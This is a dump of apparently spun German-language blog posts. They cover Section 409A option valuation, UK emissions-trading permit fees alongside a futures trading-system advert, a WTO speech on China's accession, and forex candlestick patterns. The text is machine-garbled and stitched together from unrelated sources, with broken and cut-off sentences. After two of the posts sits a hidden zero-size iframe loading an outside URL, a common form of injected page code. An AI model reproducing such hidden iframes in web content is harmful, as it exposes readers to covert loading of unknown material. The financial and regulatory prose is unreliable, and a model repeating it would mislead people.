wesentliche Konvergenz der Bewertungsmethoden für alle Zwecke hindeuten. 9. Die IRS erteilte Leitlinien, die unterschiedliche Bewertungsstandards festlegten, je nachdem, ob die Optionen vor dem 1. Januar 2005, am oder nach dem 1. Januar 2005, aber vor dem 17. April 2007 oder am oder nach dem 17. April 2007 gewährt wurden 1, 2005 zu einem Ausübungspreis, der mindestens dem Marktwert entspricht, behandelt werden, wenn das Unternehmen in gutem Glauben versucht hat, den Ausübungspreis am Tag der Gewährung auf mindestens dem Marktwert des Marktwertes festzusetzen. Für Optionen, die in den Jahren 2005, 2006 und bis zum 17. April 2007 gewährt wurden (effektiver Zeitpunkt des abschließenden Abschnitts 409A), sieht die IRS-Richtlinie ausdrücklich vor, dass ein Unternehmen nachweisen kann, dass der Ausübungspreis nicht kleiner als ein fairer Markt sein soll Wert der Aktie zum Zeitpunkt der Gewährung und dass der Wert der Aktie unter Verwendung angemessener Bewertungsmethoden ermittelt wurde, wird diese Bewertung den Anforderungen des Abschnitts 409A entsprechen. Das Unternehmen kann sich auch auf die Generalregel oder die Safe Harbors verlassen. Die Optionen, die am und nach dem 17. April 2007 gewährt werden, müssen den allgemeinen Regeln oder den Safe Harbour entsprechen. 10. Obwohl Section 409A technisch nicht für endgültige Stipendien gilt, ist bei der Ermittlung des Werts der in der Nähe der Optionsgewährung ausgegebenen Aktienbeihilfen Vorsicht geboten. Beispielsweise kann eine Gewährung von Aktien mit einem gemeldeten Steuersatz von 0,10 share in Frage gestellt werden, wenn eine nachträgliche Gewährung von NQOs zu einem Marktwert-Basispreis von 0,15 share, der unter Anwendung eines Section 409A-Bewertungsverfahrens erstellt wurde, zeitnah abgeschlossen wird. Teile diese Seite</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-28285702712070885602017-08-02T17:32:00.000-07:002017-08-02T17:32:17.276-07:00Charge Ws Handelssystem<p>EU-ETS: Die Gebühren gelten für eine begrenzte Anzahl von Anlagen, die keine Treibhausgase aus dem Teil der regulierten Tätigkeit, die an der Anlage durchgeführt wird, emittieren. Es gilt nicht für diejenigen, die Null-Emissionen aufgrund der Verbrennung oder Nutzung von Biomasse-Source-Streams berichten. Wenn Sie EU-ETS teilweise über ein Jahr beitreten, wird Ihnen ein Teil der Aufenthaltskosten nach der Anzahl der verbleibenden Tage im Jahr berechnet. Die Berechnung beginnt ab dem Datum der Erteilung oder Übertragung Ihrer Genehmigung. Wenn Sie Ihre Genehmigung aufgeben oder ihr widerrufen, und dies geschieht ein Stück Weg durch ein Jahr, werden wir einen Teil der jährlichen Lebenshaltungskosten, die Sie bezahlt haben, zurückerstatten. Die Berechnung basiert auf der Anzahl der verbleibenden Tage im Jahr. Permit variation Diese Gebühr gilt, wenn wir eine technische Bewertung Ihres Antrags durchführen müssen, um Ihre Genehmigung zu ändern. Zulassungsänderungsgebühr: 430. Nicht alle Genehmigungsvarianten sind kostenpflichtig. Wenn wir denken, dass die Änderung nur eine administrative Änderung ist, müssen Sie nicht eine Gebühr zahlen. Wenn Sie arent sicher, ob Sie eine Variationsgebühr zahlen müssen ethelpenvironment-agency. gov. uk. Genehmigungsübertragung Die Übertragungsgebühr ist gleich, ob Sie alle oder einen Teil Ihrer Genehmigung übertragen. Permit Transfer Charge: 430. Erlaubnis Überlassung oder Widerruf Die Gebühr ist die gleiche, wenn Sie auf Ihre Erlaubnis zu übergeben oder wir eine Benachrichtigung an Sie, dass wir Ihre Genehmigung widerrufen gelten. In diesem Fall senden wir Ihnen eine Rechnung zu. Zulassungsbeschränkung oder Widerrufsentschädigung: 670. Bewerben Sie sich für Zulagen aus der New Entrants Reserve (NER) NER Antragsgebühr: 1,120. Anwenden, um Ihr Emissionsziel zu erhöhen Wenn Sie ein ausgeschlossener Betreiber sind und Sie zur Erhöhung Ihres Emissionsziels nach einer Kapazitätserhöhung anwenden, werden Sie 1.120 belastet. Dies deckt die Kosten für Ihre Genehmigung Änderung. Wenn die Informationen, die Sie mit Ihrer Anwendung senden, falsch oder unvollständig sind, müssen Sie möglicherweise eine weitere Gebühr bezahlen, wenn wir eine weitere Änderung an Ihrem Ziel vornehmen müssen. EU-EHS. 750 Benchmarking Plan: 830 Aufenthaltsentgelte Dies ist eine jährliche Gebühr und deckt die Kosten für die Umwelt Agencys ab, indem Sie sie als Flugzeugbetreiber in den EU-ETS-Verarbeitungsmitteilungen erhalten, die die Nutzung des Unionsregisters beibehalten, Geringfügige Abweichungen zu den Plänen Compliance Auditing bietet einen Helpdesk und die Lösung von Fragen Die Existenzsicherung besteht aus zwei Teilen. Es hat ein Festladungselement, das als Basisladung bezeichnet wird. Sie zahlen diese, wenn Sie Luftverkehrstätigkeiten für jeden Teil des Compliance-Jahres durchführen. Diese Gebühr ist wie folgt: Gebühr für die Änderung eines Luftverkehrs-Emissionsplan Diese Gebühr gilt, wenn wir eine technische Bewertung Ihrer Anwendung durchführen müssen, um Ihren Emissionsplan zu ändern. Es gilt in der Regel auch, wenn wir Ihnen eine Variation bemerkt haben. Emissionsplanvariation charge: 430 Nicht alle Emissionsplanvarianten sind kostenpflichtig. Wenn wir denken, dass die Änderung nur eine administrative Änderung ist, müssen Sie nicht eine Gebühr zahlen. Wenn Sie arent sicher sind, ob Sie eine Abweichungsgebühr email zahlen müssen: Gebühr für die Anwendung zum speziellen Reserve Sie müssen eine Gebühr von 1.120 zahlen, wenn Sie einen Antrag für freie Berechtigungen vom Sonderreserve einreichen. Dies umfasst auch die Kosten für Ihre Anwendung für Ihre Benchmarking-Plan. Ermittlung der Emissionsgebühr: alle Betreiber In einigen Fällen, z. B. wenn Sie nicht Ihren jährlichen Emissionsbericht einreichen, wird die Umweltagentur 125 pro Stunde berechnen, um Ihre meldepflichtigen jährlichen Emissionen abzuschätzen. Sie schicken Ihnen eine Rechnung für die angefallenen Kosten. Gebühren des EU-Registers Die Kosten für die Eröffnung eines neuen Betreiber-Holding-Kontos (OHA) oder eines Aircraft Operator Holding-Kontos (AOHA) sind im Antragsentgelt für einen neuen Genehmigungs - oder Emissionsplan enthalten. Ändern oder Nominieren von ARs oder AARs Operatoren mit einem OHA oder AOHA müssen nicht zahlen, um einen autorisierten Vertreter (AR) oder zusätzliche autorisierte Repräsentanten (AAR) zu ändern. Wenn Sie ein anderer Kontoinhaber sind entweder eine Person halten oder ein Handelskonto Sie dont bezahlen für die ersten 2 ARs erforderlich auf Konto-Anwendung, aber alle zusätzlichen oder Ersatz-ARs und AARs wird eine Gebühr von 55 entstehen. Externe Handelsplattformen Externe Handelsplattformen können Verbunden mit dem Unionsregister, um den Handel von Zertifikaten und Kyoto-Einheiten zwischen mehreren Dritten zu erleichtern. Die Umweltagentur zahlt 125 pro Stunde, um Anwendungen für externe Handelsplattformkonten zu bewerten. Die Kosten der Arbeit von Dritten wie IT-Berater werden an die Eigentümer dieser externen Handelsplattformen weitergegeben. Disclaimer Das Risiko des Handels kann erheblich sein und jeder Investor andor Händler muss prüfen, ob dies eine geeignete Investition ist. Die Wertentwicklung in der Vergangenheit ist nicht unbedingt ein Indiz für zukünftige Ergebnisse. Futures Trading Disclaimer: Transaktionen in Wertpapier-Futures, Rohstoff-und Index-Futures und Optionen auf Futures ein hohes Maß an Risiko. Der Betrag der anfänglichen Marge ist relativ zum Wert des Futures-Kontraktes klein, was bedeutet, dass Transaktionen stark genutzt werden. Eine relativ kleine Marktbewegung wird einen proportional größeren Einfluss auf die Gelder haben, die Sie hinterlegt haben oder einzahlen müssen: dies kann sowohl gegen Sie als auch für Sie wirken. Sie können einen totalen Verlust der anfänglichen Margin-Fonds und alle zusätzlichen Mittel, die bei der Clearing-Firma, um Ihre Position beizubehalten. Wenn der Markt bewegt sich gegen Ihre Position oder Marge Ebenen erhöht werden, können Sie aufgefordert werden, erhebliche zusätzliche Mittel kurzfristig bezahlen, um Ihre Position zu halten. Wenn Sie nicht mit einem Antrag auf zusätzliche Mittel innerhalb des vorgeschriebenen Zeitraums nachzukommen, kann Ihre Position mit Verlust liquidiert werden und Sie werden für daraus resultierende Defizit haftbar gemacht werden. Charge WS (ER) Übersicht Ladung ES WS ist das gleiche System wie Charge ES, aber WS steht für Wide-Stop. Es gilt eine einfache interne Muster auf die vorrückenden und rückläufigen Fragen der NYSE, um die allgemeine Tendenz des Marktes zu bestimmen. Mit der allgemeinen Darstellung der Börse als allgemeines Signal kann Charge ES WS den e-mini SP, aber auch den Russell und Mini-Dow handeln. Weil es einen breiten Anschlag verwendet, kann Chares ES WS größere Verluste haben. ANRUFEN 866 750 9030 ext. 102 Copyright-Kopie 2006 - Platinum Trading Solutions, Inc. Alle Rechte vorbehalten. Datenschutzerklärung Allgemeine Geschäftsbedingungen Haftungsausschluss Das Handelsrisiko kann erheblich sein und jeder Investor und jeder Händler muss prüfen, ob dies eine geeignete Anlage ist. Die Wertentwicklung in der Vergangenheit ist nicht unbedingt ein Indiz für zukünftige Ergebnisse. Futures Trading Disclaimer: Transaktionen in Wertpapier-Futures, Rohstoff-und Index-Futures und Optionen auf Futures ein hohes Maß an Risiko. Der Betrag der anfänglichen Marge ist relativ zum Wert des Futures-Kontraktes klein, was bedeutet, dass Transaktionen stark genutzt werden. Eine relativ kleine Marktbewegung wird einen proportional größeren Einfluss auf die Gelder haben, die Sie hinterlegt haben oder einzahlen müssen: dies kann sowohl gegen Sie als auch für Sie wirken. Sie können einen totalen Verlust der anfänglichen Margin-Fonds und alle zusätzlichen Mittel, die bei der Clearing-Firma, um Ihre Position beizubehalten. Wenn der Markt bewegt sich gegen Ihre Position oder Marge Ebenen erhöht werden, können Sie aufgefordert werden, erhebliche zusätzliche Mittel kurzfristig bezahlen, um Ihre Position zu halten. Wenn Sie nicht in der Lage, einen Antrag auf zusätzliche Mittel innerhalb der vorgeschriebenen Zeit einzuhalten, kann Ihre Position mit Verlust verliert werden, und Sie haften für die daraus resultierenden Defizit. WORLD TRADE ORGANIZATION Lassen Sie mich damit beginnen zu sagen, wie sehr ich bin, in China zu sein An so einem wichtigen Punkt in der Verhandlung von Chinas Eintritt in die Welthandelsorganisation. Von nun an werden wir diese Zeit als Wendepunkt in der Entwicklung des Weltwirtschaftssystems betrachten. Es gibt eine einfache Realität, die im Mittelpunkt unserer gegenwärtigen Verhandlungen steht und die wirklichen Herausforderungen der Anpassung, denen wir alle gegenüberstehen: die Realität, dass China bereits eine führende Macht in einer immer stärker interdependenten Weltwirtschaft ist. China braucht zunehmend die Chancen und die Sicherheit des WTO-Systems, um sein großes Potenzial für Wachstum und Entwicklung zu erfüllen. Und die WTO benötigt zunehmend China als ein volles und aktives Mitglied, um ein wirklich universelles System zu sein. Diese Realität wird durch die schiere Kraft des Chinas Aufstieg in der Welt betont. Im letzten Jahrzehnt expandierte die Produktion um durchschnittlich 10 Prozent jährlich, während das Warenexportvolumen mit etwa 15 Prozent noch schneller wuchs. In zwei Jahrzehnten hat sich der Wert der Chinas-Warenexporte um mehr als das Zwanzigfache erweitert und erreichte im vergangenen Jahr 151 Milliarden US-Dollar. China ist bereits die weltweit fünftgrößte Handelsmacht und der zweitgrößte Empfänger von ausländischen Investitionen. Heute repräsentiert die chinesische Wirtschaft je nach Methode der nationalen Produktion zwischen 5 und 10 Prozent der weltweiten Produktion. Als Chinas Wirtschaft expandiert in die Zukunft, so wird auch seine Bindungen an die Weltwirtschaft. Die Abhängigkeit von den Exportmärkten wird weiterhin rasant wachsen, und zwar nicht nur für arbeitsintensive Produkte wie Schuhe und Spielwaren, sondern für die höheren Technologiegüter und - dienstleistungen, die bei steigendem Aufstieg der Produktionsleiter zunehmen. Die Einfuhren werden ebenfalls ansteigen, zum Teil zur weiteren Industrialisierung und Modernisierung, aber auch als Reaktion auf die Nachfrage der Verbraucher. Und ein ständig wachsendes Netz von in - und ausländischen Investitionen wird China tiefer in das globale Finanzsystem ziehen. Es wird geschätzt, dass Chinas Modernisierung die Einfuhren von Ausrüstung und Technologie von etwa US100 Milliarden jährlich erfordern wird, und Infrastruktur-Ausgaben in der zweiten Hälfte dieses Jahrzehnts könnte etwa US 250 Milliarden betragen. Dies ist nicht zu erwähnen, steigende Nachfrage nach Energie-, Bodenschätze, Nahrungsmittel und landwirtschaftliche Einfuhren, die trotz der Größe und Ressourcen der chinesischen Wirtschaft nicht allein durch die häusliche Produktion erfüllt werden können. Die grundlegende Tatsache ist, dass China in den Mittelpunkt des Globalisierungsprozesses geht und China und andere Nationen davon profitieren. Wir leben in einer Welt, in der Technologie, Kapital und Handel zunehmend freier werden, wo die alten Wirtschaftsinstrumente verloren gehen und wo wirtschaftliche Stärke und Sicherheit zunehmend von ökonomischer Offenheit und Integration abhängen. Chinas Weg zum Wachstum und zur Modernisierung ist auch ein Weg zur Interdependenz. Dieser Prozess der Globalisierung wird nicht rückgängig gemacht - er wird beschleunigen. Weltweit brechen wirtschaftliche und technologische Kräfte Mauern ab, greifen grenzübergreifend zusammen und vereinen eine einzige Weltwirtschaft. In den späten zwanzigsten Jahrhunderten entspringen unsere neuen Chancen, unsere Herausforderungen - im Handel, in der Wirtschaft, in allen Facetten der internationalen Politik - aus der Annäherung unserer Welten, nicht weiter auseinander. Die Vertiefung der Interdependenz ist die zentrale Realität für China und für die Welt. Die Verwaltung der Interdependenz ist unsere gemeinsame Verantwortung. Ein wichtiger Schritt zur Vollendung dieser gegenseitigen Abhängigkeit ist es, China in das multilaterale Handelssystem zu bringen. Chinas Wirtschaftsbeziehungen mit der Welt sind einfach zu groß und zu durchdringend, um effektiv durch ein Labyrinth von willkürlichen, veränderlichen und instabilen bilateralen Abkommen zu handeln. Chinas beste Garantie für eine kohärente und konsequente internationale Handelspolitik ist innerhalb des regelbasierten multilateralen Systems zu finden. Gleichermaßen kann China, wie alle anderen Länder, seine wachsenden wirtschaftlichen Beziehungen mit der Welt am besten auf der Basis von Rechten und Pflichten, die durch Konsens vereinbart und in durchsetzbaren Regeln und Disziplinen reflektiert werden, am besten bewältigen. Dies ist die einzige Möglichkeit, dem bilateralen Druck oder der Bedrohung durch einseitige Handlungen zu widerstehen. Es ist auch die einzige Möglichkeit, die inländische Wirtschaftsreform aufrechtzuerhalten und zu fördern, weil die chinesischen Bemühungen in dieser Richtung von den Handelspartnern der WTO abgestimmt werden, die die gleichen Verpflichtungen aus den WTO-Übereinkünften teilen. Der Beitritt zur WTO bedeutet die Annahme verbindlicher Verpflichtungen für die Einfuhrpolitik - Verpflichtungen, die eine Anpassung der chinesischen Handelspolitik und in den meisten Fällen eine wirtschaftliche Umstrukturierung erforderlich machen. Aber im Gegenzug wird China von der Ausweitung aller Vorteile profitieren, die unter den 130 Mitgliedern der WTO ausgehandelt worden sind. Sie ist berechtigt, ihre Produkte und Dienstleistungen auf den Märkten anderer WTO-Mitglieder zu den in der Uruguay-Runde ausgehandelten Zoll - und Verpflichtungssätzen zu exportieren - dies schließt Tarifbindungen ein, die fast 100 Prozent der chinesischen Exporte von Industrieprodukten in Industrieländer ausbezahlt haben , Wobei fast die Hälfte dieser Produkte einer zollfreien Behandlung unterliegt. Diese enormen Marktzugangsmöglichkeiten werden durch die beiden Grundprinzipien der Meistbegünstigung und Nichtdiskriminierung untermauert und verstärkt. Ebenso wichtig ist, dass China auf ein multilaterales Forum zur Erörterung von Handelsproblemen mit seinen WTO-Partnern und gegebenenfalls auf ein verbindliches Streitbeilegungsverfahren zurückgreift, wenn seine Rechte beeinträchtigt werden. Dieses größere Sicherheitsniveau wird China enorm zugute kommen, was zu einem noch größeren Geschäftsvertrauen führt und zu noch höheren Investitionen führt. Es gibt einen dritten Hauptgrund für die Beteiligung Chinas am multilateralen System. Nur innerhalb des Systems kann China am Schreiben der Handelsregeln des 21. Jahrhunderts teilnehmen. Dies wird ein beispielloser Satz von Rechten und Pflichten, die international durch Konsens verhandelt werden. Die dauerhafte Macht des multilateralen Systems ist seine Macht zu entwickeln. 1994 schlossen wir die Uruguay-Runde des GATT, die damals das ehrgeizigste und weitreichendste Abkommen der 50jährigen Geschichte des internationalen Wirtschaftssystems war. Nur drei Jahre später verhandeln wir über wegbrechende Vereinbarungen zur Liberalisierung der weltweiten Telekommunikationsbranche und zur Beseitigung von Zöllen für den Handel mit Informationstechnologieprodukten - deren kombinierter Wert bei einigen US-Billion-Dollar den weltweiten Handel mit der Landwirtschaft, den Autos, übereinstimmt , Und Textilien kombiniert. Und ihr Wert geht über die Handelszahlen hinaus, indem sie den Zugang zu Wissen, Kommunikation und ihren Technologien erschließt, eröffnen wir Zugang zu den wichtigsten Rohstoffen des neuen Jahrhunderts. Dies wird für die Entwicklung und die Wettbewerbsfähigkeit aller Volkswirtschaften, nicht zuletzt Chinas, von immenser Bedeutung sein. Es gibt jedes Zeichen, dass wir auch Ende dieses Jahres eine multilaterale Vereinbarung über Finanzdienstleistungen abschließen können - ein weiterer Bereich, in dem wir in die Zukunft handeln. Und das heißt nichts von den WTO-Verhandlungen über Landwirtschaft, Dienstleistungen und andere Sektoren, die in drei Jahren wieder aufgenommen werden. Ein nach außen gerichtetes China kann sich nicht leisten, an der Seitenlinie zu stehen, während andere die Spielregeln schreiben. Ein China mit wachsenden Exportinteressen kann es sich nicht leisten, ohne sicheren und erweiterten Zugang zu globalen Märkten zu bleiben - Sicherheit, die nur das multilaterale System bietet. Und vielleicht am wichtigsten ist, dass ein China, das von Technologie und Modernisierung abhängt, es sich nicht leisten kann, hinter dem rasanten Tempo der Globalisierung - vor allem in Sektoren wie Informationstechnologien, Telekommunikation oder Finanzdienstleistungen - zurückbleiben, die die Schlüsselbausteine der neuen Wirtschaft sein werden. Chinas wirtschaftlicher Erfolg bisher ist direkt mit seinen beeindruckenden nationalen Reformen, einschließlich Handel und Investitionen Liberalisierung verbunden. China hat bereits von den einseitigen Zollsenkungen profitiert, die im Rahmen der Beitrittsverhandlungen angeboten werden. Eine Studie bringt die Gewinne auf 22 Mrd. US-Dollar. Aber das ist nicht das Ende der Straße. Eine weitere Liberalisierung, die auf der Grundlage der WTO-Regeln und im Austausch für die Vorteile anderer WTO-Partner durchgeführt wurde, könnte den bislang größten Impuls für das Wirtschaftswachstum Chinas darstellen. Und durch die Erweiterung, ein riesiger Impuls für die Weltwirtschaft. Ich schlage nicht vor, dass der Beitritt zur WTO ein einfacher Schritt ist. Nur das Gegenteil. Aber viele andere Länder, die bereits Mitglied der WTO sind, haben ein vergleichbares Entwicklungsniveau mit China. Sie haben ihre Rechte und Pflichten gezeichnet und genießen ihre Vorteile. Die anderen Beitrittskandidaten zeigen auch, dass sie die gleiche Wahl getroffen haben. Die Attraktivität der WTO liegt gerade in der Kraft und Konsistenz ihrer Rechte und Pflichten - die wir mit der weiteren Expansion und Integration der Weltwirtschaft weiter ausbauen und vertiefen. Vor 50 Jahren lag der Schwerpunkt nur auf Tarifen und anderen Grenzmaßnahmen, die heute die WTO-Regeln innerhalb der Grenze erstrecken, um technische Standards, Dienstleistungen, geistiges Eigentum, handelsbezogene Investitionen und eine Vielzahl anderer Wirtschaftspolitik, die einst als inländisch angesehen wurden, zu umfassen. Vor fast fünfzig Jahren waren fast alle GATT-Mitglieder aus der industrialisierten Welt von heute 130 WTO-Mitgliedern, achtzig Prozent Entwicklungsländer oder Transformationsländer. Die zunehmende Komplexität der Regeln und der Vielfalt der Mitgliedschaft, weit davon entfernt, die WTO zu schwächen, hat sie gestärkt. Bei der Umstellung auf eine breitere Beteiligung haben wir mehr getan, als eine neue Regel hier oder ein neues Mitglied hinzuzufügen. Wir haben ein wachsendes Netzwerk von ineinandergreifenden Interessen und Verantwortlichkeiten geschaffen - ein System, das für alle unsere Handelsinteressen wichtiger wird, wenn es stärker wächst. Es ist, weil Chinas Beitritt zur WTO wird zutiefst die zukünftige Entwicklung und Richtung der globalen wirtschaftlichen Beziehungen, die wir müssen den Prozess richtig. China ist zu groß und wichtig, dass ein Wirtschaftsakteur - und sein Eintritt in die WTO wird eine zu große Auswirkung auf das System haben -, um diese Verhandlungen zu kompromittieren. Wir haben vor kurzem wichtige Zeichen der Dynamik und der kreativen Flexibilität gesehen, die wir vor kurzem in diesen Verhandlungen gesehen haben - in schwierigen Bereichen wie Handelsrechten, Nichtdiskriminierung, nichttarifären Handelshemmnissen, staatlichem Handel, Investitionen und geistigem Eigentum, wo die Verhandlungsführer bemerkenswerte Fortschritte gemacht haben, Vor allem in den letzten Monaten. Keiner dieser Fortschritte wäre ohne die entscheidende - wenn zeitraubende - technische Grundlage möglich gewesen, die alle Parteien dieser Verhandlungen über das vergangene Jahrzehnt gelegt haben. Aber was diesen Prozess wirklich vorantreibt, ist eine gemeinsame Anerkennung der Belohnungen, die auf Erfolg fahren. Mein Ziel ist es, die Arbeit vor uns nicht zu unterschätzen, zumal wir die nächste Verhandlungsrunde im Mai dieses Jahres anlaufen werden. Wie alle Verhandlungen sind auch viele wichtige Arbeiten - und die schwersten Probleme - bis zum Schluß geblieben. Mein Ziel ist es, alle Betroffenen zu drängen, ihre Anstrengungen zu verdoppeln und ihre Phantasien zu vertiefen - jetzt, da wir behaupten können, in die letzte Phase einzutreten, und es gibt ein weit verbreitetes Bedürfnis, mit Dringlichkeit voranzukommen. Es bleiben nach wie vor entscheidende Fragen in Bezug auf Chinas Bedingungen für den Beitritt zur WTO. Ebenso wichtig sind die bilateralen Beitrittsverhandlungen mit den großen chinesischen Handelspartnern, die, wie Sie wissen, ein kritisches und wesentliches Element jeder erfolgreichen Verhandlung sind. Wir sollten uns noch einmal daran erinnern, dass Chinas Position als 5. Weltexporteur die Notwendigkeit verstärkt, dass der eigene Markt für andere zugänglich ist. Dies sind alle wichtigen Fragen, die für die Zufriedenheit aller Menschen gelöst werden müssen, bevor China in die WTO eingebracht werden kann. Während des gesamten Zeitraums des Beitritts Chinas war das GATTWTO-Sekretariat bereit, die Verhandlungen zu erleichtern und eventuell notwendige Unterstützung für alle möglichen Fronten zu leisten. Ich brauche kaum hinzufügen, dass dieses Engagement des Sekretariats gleichermaßen fest steht, wenn wir uns den Endphasen des Beitrittsprozesses nähern. Die anstehenden Herausforderungen verändern nicht die grundlegende Realität, dass ein Aspekt der chinesischen Wirtschafts - und Handelsbeziehungen außerhalb des multilateralen Systems einfacher zu handhaben ist. Im Gegenteil, alles wäre schwieriger für China und seine Partner - willkürlicher, diskriminierender und power-basierter. Niemand kann so ein Szenario wollen. Die internationale Debatte um die Globalisierung illustriert diesen letzten Punkt. Implizit oder explizit geht China in den Mittelpunkt dieser Debatte. Das Wunder ist nicht, dass die Beitrittsverhandlungen so lang und komplex gewesen sind. Das Wunder ist, dass dieses riesige Land so weit in den Mainstream der Weltwirtschaft in so kurzer Zeit bewegt hat. Die Mauern, die uns geteilt haben, fallen, aber einige sehen noch Unterschiede und Unterschiede, anstatt unsere gemeinsamen Interessen. Die Globalisierung webt die Welt zusammen wie nie zuvor, aber sie ist eine Welt aus verschiedenen Kulturen, unterschiedlichen Systemen und unterschiedlichen Entwicklungsstufen. Interdependenz verlangt, dass wir unsere einzigartigen Kulturen und Kulturen respektieren. Interdependenz verlangt auch, dass wir gemeinsame Lösungen für unsere gemeinsamen Probleme finden. Dazu gehören die Bedenken Chinas großen Handelspartner über seine anhaltende Handelsüberschüsse. Ebenso muss die Welt die enorme Herausforderung verstehen, mit der China sich in eine moderne und wettbewerbsfähige Gesellschaft verwandelt - und das alles in einer Angelegenheit von Jahrzehnten. China ist nicht allein in diese Bemühungen der Umstrukturierung. Die Globalisierung verpflichtet alle Nationen, klein oder groß, reich oder arm, an einem kontinuierlichen Anpassungsprozess teilzunehmen. Mehr als je zuvor werden die Welten Probleme Chinas Probleme und Chinas Probleme werden die Welten sein. Doch unsere Welt des dramatischen Wandels ist auch eine Welt dramatischer Möglichkeiten. Chinas Lebensstandards haben sich in den letzten zehn Jahren verdoppelt und werden zweifellos doppelt und verdreifachen sich wieder. Neue Chancen eröffnen sich für chinesische Arbeiter und chinesische Unternehmer. Neue Optionen öffnen sich für chinesische Verbraucher. Und aus dieser wirtschaftlichen Öffnung entspringt neue Hoffnung. Ich würde aus dem Beweis des großen Erfolgs der bisherigen Reformen argumentieren, dass die wirklichen Kosten darin bestehen würden, die Türen zu schließen, den Umstrukturierungsprozess zu verlangsamen und ineffiziente öffentliche Strukturen zu erhalten. Was für China gilt, gilt für die Welt. Die Weltwirtschaft könnte sich bis 2020 leicht verdoppeln und damit den weltweiten Lebensstandard um fast zwei Drittel steigern - unter den größten Fortschritten der Weltgeschichte. Technologie und Kommunikation verwoben einen zusammenhängenden Planeten, der die Instrumente des wirtschaftlichen und sozialen Fortschritts verbreitet und den menschlichen Zustand angleicht. Und wir brechen die Hürden, nicht nur zwischen den Volkswirtschaften, sondern zwischen den Menschen ab und geben uns ein gemeinsames Interesse an Wohlstand und Frieden. Wir müssen uns klar sein, was auf dem Spiel steht: Chinas Eintritt in das globale Handelssystem ist mehr als der Handel. Es geht um die Zukunft Chinas als Weltwirtschaftsführer. Und es geht um die zukünftige Ausrichtung der Weltwirtschaft und unserer globalen Gemeinschaft. Ich begann zu sagen, dass wir an einem Wendepunkt in Chinas Beziehungen mit der Welt sind. Einer dieser Momente in der Geschichte, die nur selten kommen, wenn die Entscheidungen, die wir gestalten den Ablauf der Ereignisse für Jahre und sogar Jahrzehnte zu kommen. Die Landschaft des Kalten Krieges ist wie von einem historischen Erdbeben verschwunden. Die nächste Ära der Globalisierung muss noch Gestalt annehmen. Wir haben eine einmalige Gelegenheit - sowohl zwischen Epochen als auch zwischen Jahrhunderten -, die Grundlagen für ein neues internationales System zu schaffen, das die beste Chance für einen dauerhaften Wohlstand und Frieden bietet. Zum ersten Mal haben wir in unserem Griff die Möglichkeit, ein universelles System auf der Grundlage von Rechten und Pflichten zu schaffen, die durch Konsens vereinbart werden und alle ihre Mitglieder binden. Ich wiederhole - die erfolgreiche Integration Chinas in die Weltwirtschaft ist der Schlüssel zu vielen internationalen Herausforderungen. Wir brauchen Kreativität in den kommenden Tagen. Wir werden uns lösen müssen. Und wir brauchen Vision. Veränderung wird kommen, ob wir es mögen oder nicht. Wir können es entweder positiv engagieren und es zu positiven Zwecken steuern oder es zu unserer Gefahr ignorieren. Die Wahl vor uns liegt auf der Hand. Ich bin nach China gekommen, nicht als Verhandlungsführer, sondern als Mann mit einem Interesse - dazu beitragen, ein wirklich globales Handelssystem aufzubauen, das das Gewicht des einundzwanzigsten Jahrhunderts tragen kann. Ich verlasse Ihnen die Botschaft, dass China eine zentrale Säule dieses Systems sein muss - sonst riskieren wir, das neue Jahrhundert auf den Fundamenten der wirtschaftlichen Instabilität und einem noch unsicheren Frieden aufzubauen. Ich bin zuversichtlich, China wird eine ebenso große Breite der Vision zu dieser Aufgabe zu bringen.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-40632392716113045142017-08-02T15:40:00.000-07:002017-08-02T15:40:06.606-07:00Devisen Libelle<p>Single Candle Patterns (Seite 1) Es gibt einige Arten von einzelnen Kerzenmustern in Candlesticks Theorie. Sie sind die folgenden: Dragonfly Doji Grabstein Doji Hämmer Hängende Mann Hohle rote Kerzen gefüllt schwarze Kerzen Dojis sind Umkehrung Kerzenständer, die gebildet werden, wenn der Markt öffnet und schließt auf dem gleichen Niveau. Dieses Muster zeigt, dass es eine Menge Unentschlossenheit in den Preisen der Aktie gibt. Abhängig davon, wie lange die Schatten sind und wo theyre lokalisiert, kann Dojis in verschiedene Formationen wie Doji, long legged Doji, Schmetterling, Grabstein und der 4 Preis Doji unterteilt werden. Dojis werden bedeutungsvoller für den Markt, wenn sie nach und ausgedehnte Periode der langen körperlichen Kerzen erscheinen, ob sie bullisch oder bärisch sind und wird mit einem Verschlingen bestätigt. Sie folgen einem bullish Trend und haben nur eine moderate Rate der Zuverlässigkeit. Langbeiniger Doji Ein langbeiniger Doji-Leuchter bildet, wenn die Aktien öffnen und schließen Preise bleiben die selben. Dieses Doji ist viel mächtiger, wenn es durch kleine Kerzen vorausgeht. Es zeigt eine plötzliche Explosion der Popularität in einer Aktie, die bisher nicht sehr beliebt, so kann der Beginn einer Trendwende implizieren. Dragonfly Doji Dragonfly Dojis sind Dojis, die eröffnet hohen auf dem Markt, erlebt einen bemerkenswerten Rückgang, aber erhielt genug Unterstützung zu schließen, zum gleichen Preis, bei dem es geöffnet. Sie werden oft gesehen, nachdem es einen moderaten Rückgang gegeben hat und wenn sie mit einer bullishen Verschlingung bestätigt werden, sind sie Indikatoren für eine Bodenumkehr. Dragonfly Dojis zeigen einen bullish Trend, der moderate Zuverlässigkeit bietet. Die Dragonfly Doji hat eine höhere Zuverlässigkeit Rate mit ihm als der Hammer verbunden ist. Der lange untere Schatten ist etwa zwei - bis dreimal so groß wie der reale Körper. Es gibt sehr wenig oberen Schatten, oder gar keine. Der wirkliche Körper befindet sich am oberen Ende der Handelsspanne. Die Farbe des realen Körpers ist nicht wichtig. Grabstein Doji Grabstein Dojis sind das Gegenteil der Dragonfly Doji und wenn mit einem bearish Engulfing bestätigt, sind die oberen Indikatoren für eine Umkehrung. Richtig benannt, sehen sie wie Grabsteine aus und könnten das Schicksal für die Aktie prognostizieren. Wenn die Aktie öffnet und schließt auf dem gleichen Niveau nach dem Devisenhandel, seine bezeichnet als 4 Preis Dojis. Dies tritt sehr selten auf und ist in der Regel nur mit Wertpapieren offensichtlich, die dünn gehandelt werden. Dies ist ein bullish Trend, der Investoren mit moderater Zuverlässigkeit bietet. Kleine reale Körper am oberen Ende der Handelsspanne. Oberer Schatten meist mindestens dreimal so lang wie der wirkliche Körper. Forex-Strategie, Forex Trading-Strategie, 